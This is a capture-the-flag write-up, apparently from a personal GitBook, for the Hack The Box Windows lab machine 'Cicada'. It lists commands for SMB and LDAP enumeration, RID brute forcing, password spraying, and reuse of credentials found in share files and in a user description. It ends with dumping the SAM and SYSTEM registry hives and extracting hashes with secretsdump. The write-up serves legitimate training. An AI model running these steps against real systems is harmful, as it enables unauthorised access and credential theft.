> For the complete documentation index, see [llms.txt](https://a-g-1.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://a-g-1.gitbook.io/writeups/machine-writeups/htb-cicada.md).

# HTB-CICADA

## HTB-CICADA

Great machine to clarify basic loading in enumeration and clear up misconfigurations in common windows services.

<figure><img src="/files/Vp5q4x3NPPDy80sqtLe4" alt=""><figcaption><p>Released on 28 Sep 2024 Created by <a href="https://app.hackthebox.com/users/796798">theblxckcicada</a></p></figcaption></figure>

## Enumeration - NMAP Portscan

<mark style="color:green;">`NMAP -p- -sV <IP>`</mark>

<mark style="color:green;">`PORT     STATE SERVICE       VERSION`</mark>

<mark style="color:green;">`53/tcp   open  domain        Simple DNS Plus`</mark>

<mark style="color:green;">`88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-18 02:28:03Z)`</mark>

<mark style="color:green;">`135/tcp  open  msrpc         Microsoft Windows RPC`</mark>

<mark style="color:green;">`139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn`</mark>

<mark style="color:green;">`389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`445/tcp  open  microsoft-ds?`</mark>

<mark style="color:green;">`464/tcp  open  kpasswd5?`</mark>

<mark style="color:green;">`593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0`</mark>

<mark style="color:green;">`636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)`</mark>

<mark style="color:green;">`5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)`</mark>

<mark style="color:green;">`Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows`</mark>

## Enumeration - SMB

<mark style="color:green;">`smbclient -L //<IP>`</mark>

<figure><img src="/files/BqeHIRJwLfF7E8nc32Dy" alt=""><figcaption></figcaption></figure>

we will Figure out that we can access /HR without further permission

<mark style="color:green;">`smbclient -L //<IP>/HR -SMB2`</mark>

<figure><img src="/files/55p7OdNy1RhYYzJwwwVW" alt=""><figcaption></figcaption></figure>

wich basically leads to a .txt file with usefull content.

<figure><img src="/files/7yZLF4Zfxk3UhDtSmTcF" alt=""><figcaption></figcaption></figure>

Now that we captured a Password the easy way, we have to get some users to use it with..

## Enumeration - RID-Brute Force

<mark style="color:green;">crackmapexec smb \<IP> -u guest -p '' --rid-brute</mark>

<figure><img src="/files/Xqx4OOX9hB7ylCiYFH4t" alt=""><figcaption></figcaption></figure>

By Password Spray you will figure out that you can use "michael.wrightson" as a user to enumerate further with.

## Enumeration - LDAP

<mark style="color:green;">`ldapsearch -x -H ldap://<IP> -D "Cicada\\michael.wrightson" -w '<password>' -b "DC=cicada,DC=htb" "(objectClass=user)"`</mark>

Inside the LDAP Results we will find information about David Orelious, who dared to implement his Password in the Deskription.

<figure><img src="/files/N9wXYHTak6FWpWOI5tpC" alt=""><figcaption></figcaption></figure>

## Enumeration RPC&#x20;

<mark style="color:green;">`rpcclient -U CICADA.htb\michael.wrightson <IP>`</mark>

<mark style="color:green;">`enumdomusers`</mark>

<figure><img src="/files/oTvIikUPC3BHTQ7L08ZG" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">`enumdomgroups`</mark>

<figure><img src="/files/ts0Cxm2z4cfABa0My46s" alt=""><figcaption></figcaption></figure>

## Enumeration SMB Part II

<mark style="color:green;">`crackmapexec smb <IP> -u david.orelious -p '<Password>' --shares`</mark>

<figure><img src="/files/aP3d7qZnjB7a15dleTHQ" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">crackmapexec smb \<IP> -u david.orelious -p '\<password>' --groups</mark>

We should take a look inside the new gained access folders..

<figure><img src="/files/S4M76eS5mm1ZXSWM34iN" alt=""><figcaption></figcaption></figure>

and also keep in mind that they are some interesting permissions going on..

<mark style="color:green;">smbclient //\<IP>/dev  -U CICADA\\\david.orelious</mark>

<figure><img src="/files/zl42i1Fjmf7C0F9B9FJ0" alt=""><figcaption></figcaption></figure>

we will find some hardcoded credentials of our dear emily here..

<figure><img src="/files/QOMXgY8BY2rKSXLwrkRX" alt=""><figcaption></figcaption></figure>

## User FLAG

<mark style="color:green;">smbclient //\<IP>/C$  -U CICADA\\\emily.oscars</mark>

<figure><img src="/files/lc0hjMcAd4tNioIxUvLd" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

<mark style="color:green;">evil-winrm -i \<IP> -u emilly.oscars -p '\<password>'</mark>

<mark style="color:green;">whoami /all</mark>

<figure><img src="/files/NsnJBWYyZ09q129OstpG" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">reg save hklm\sam c:\temp\sam</mark>

<mark style="color:green;">reg save hklm\system c:\temp\system</mark>

<mark style="color:green;">download sam</mark>

<mark style="color:green;">download system</mark>

Use the tool of your choice to dump the secrets now\.. in my case i used the "impacket" toolset

<mark style="color:green;">secretsdump.py -sam sam -system system LOCAL</mark>

<figure><img src="/files/x3OM3PUO4cN71LPnKwtT" alt=""><figcaption></figcaption></figure>

## Root FLAG

Afterwards just Win-rm to the target machine and obtain the root.txt flag.

<figure><img src="/files/4Hc5xLnEIAAnIVbJsuDf" alt=""><figcaption></figcaption></figure>